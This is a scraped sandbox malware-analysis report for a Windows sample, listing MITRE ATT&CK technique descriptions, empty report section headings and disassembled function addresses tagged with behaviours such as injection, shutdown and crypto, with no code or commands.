Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report vovy0jYEM7

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

System Behavior

Analysis Process: vovy0jYEM7.exe PID: 6588 Parent PID: 6032

General

Chronological Activities

Disassembly

Code Analysis

Analysis Process: vovy0jYEM7.exe PID: 6588 Parent PID: 6032 vovy0jYEM7.exeCOMMON

Executed Functions

Function 00404E5C, Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 283libraryloaderstringCOMMON

Function 004118F9, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringCOMMON

Function 00405F45, Relevance: 9.1, APIs: 6, Instructions: 72sleepCOMMON

Function 0041296B, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Function 00404E5C, Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 283
libraryloaderstringCOMMON

Function 004118F9, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringCOMMON

Function 00405F45, Relevance: 9.1, APIs: 6, Instructions: 72
sleepCOMMON

Function 0041296B, Relevance: 7.6, APIs: 5, Instructions: 54
COMMON

Function 00414BDF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
librarystringCOMMON

Function 0041676F, Relevance: 65.9, APIs: 34, Strings: 3, Instructions: 1184
filetimeCOMMONCrypto

Function 00414C33, Relevance: 58.0, APIs: 22, Strings: 11, Instructions: 209
librarystringloaderCOMMON

Function 00405B5C, Relevance: 47.5, APIs: 26, Strings: 1, Instructions: 280
sleepsynchronizationshutdownCOMMON

Function 004120AD, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
libraryloadermemoryCOMMON

Function 0041D2D2, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190
libraryloaderCOMMON

Function 0040FBAD, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 102
libraryloaderprocessCOMMON

Function 0041596B, Relevance: 18.7, APIs: 12, Instructions: 691
networkCOMMON

Function 0040C98B, Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 460
stringCOMMONCrypto

Function 0041D7B7, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109
windowCOMMON

Function 0041BB83, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
fileCOMMON

Function 00413A0C, Relevance: 10.6, APIs: 7, Instructions: 107
sleepfilesynchronizationCOMMON

Function 0040F901, Relevance: 10.6, APIs: 7, Instructions: 52
threadCOMMON

Function 0041561A, Relevance: 9.1, APIs: 6, Instructions: 83
threadnativeinjectionCOMMON

Function 0041DB15, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 189
COMMON

Function 00413951, Relevance: 7.6, APIs: 5, Instructions: 61
fileCOMMON

Function 0040DBFD, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
shutdownCOMMON

Function 00412C3E, Relevance: 6.1, APIs: 4, Instructions: 94
memoryinjectionCOMMON

Function 00416504, Relevance: 6.1, APIs: 4, Instructions: 61
sleepCOMMON

Function 0040F8AA, Relevance: 6.0, APIs: 4, Instructions: 36
threadprocessCOMMON

Function 004054A1, Relevance: 4.6, APIs: 3, Instructions: 122
registryCOMMON

Function 00415563, Relevance: 4.6, APIs: 3, Instructions: 62
nativethreadCOMMON

Function 00409D36, Relevance: 3.9, Strings: 3, Instructions: 189
COMMONCrypto

Function 00418EF0, Relevance: 3.2, APIs: 2, Instructions: 162
encryptionCOMMON

Function 0040E35F, Relevance: 1.5, APIs: 1, Instructions: 20
timeCOMMON

Function 004110A3, Relevance: .2, Instructions: 190
COMMONCrypto

Function 0040BFBE, Relevance: .1, Instructions: 74
COMMONCrypto

Function 0040F3E6, Relevance: .1, Instructions: 70
COMMONCrypto

Function 0040D447, Relevance: .0, Instructions: 31
COMMON

Function 00409736, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 391
libraryloaderwindowCOMMON

Function 00414F1C, Relevance: 57.9, APIs: 22, Strings: 11, Instructions: 196
stringlibraryloaderCOMMON

Function 0040D60C, Relevance: 47.4, APIs: 18, Strings: 9, Instructions: 178
librarystringloaderCOMMON

Function 004152A7, Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 131
stringlibraryloaderCOMMON

Function 004046BE, Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 194
COMMON

Function 004151A8, Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 99
stringlibraryloaderCOMMON

Function 00404CD0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 124
filestringCOMMON

Function 0040C261, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 159
fileCOMMON

Function 00406FFF, Relevance: 18.3, APIs: 9, Strings: 3, Instructions: 254
COMMON

Function 0040647D, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74
librarystringloaderCOMMON

Function 00414E71, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67
stringlibraryloaderCOMMON

Function 0040D523, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderstringCOMMON

Function 00406559, Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 261
stringCOMMON

Function 0040C10D, Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 75
stringCOMMON

Function 00408EB7, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 160
synchronizationthreadCOMMON

Function 0041E8AA, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 144
synchronizationCOMMON

Function 0040FD42, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 116
stringCOMMON

Function 0041C97A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
libraryloaderCOMMON

Function 00406CE5, Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 247
COMMON

Function 0041EB01, Relevance: 13.6, APIs: 9, Instructions: 126
processstringCOMMON

Function 00419F5F, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 156
COMMON

Function 00408B92, Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 239
stringsleepCOMMON

Function 0040FFBD, Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 121
stringCOMMON

Function 0041DEF5, Relevance: 10.7, APIs: 7, Instructions: 216
filestringCOMMON

Function 00412B1F, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108
injectionCOMMON

Function 004053A2, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
injectionCOMMON

Function 0040F989, Relevance: 10.6, APIs: 7, Instructions: 74
COMMON

Function 004128E2, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
registryCOMMON

Function 0041512E, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
stringlibraryloaderCOMMON

Function 004119C1, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
COMMON

Function 0041A16A, Relevance: 9.2, APIs: 6, Instructions: 175
COMMON

Function 00418230, Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 162
COMMON

Function 00419D73, Relevance: 9.1, APIs: 6, Instructions: 148
COMMON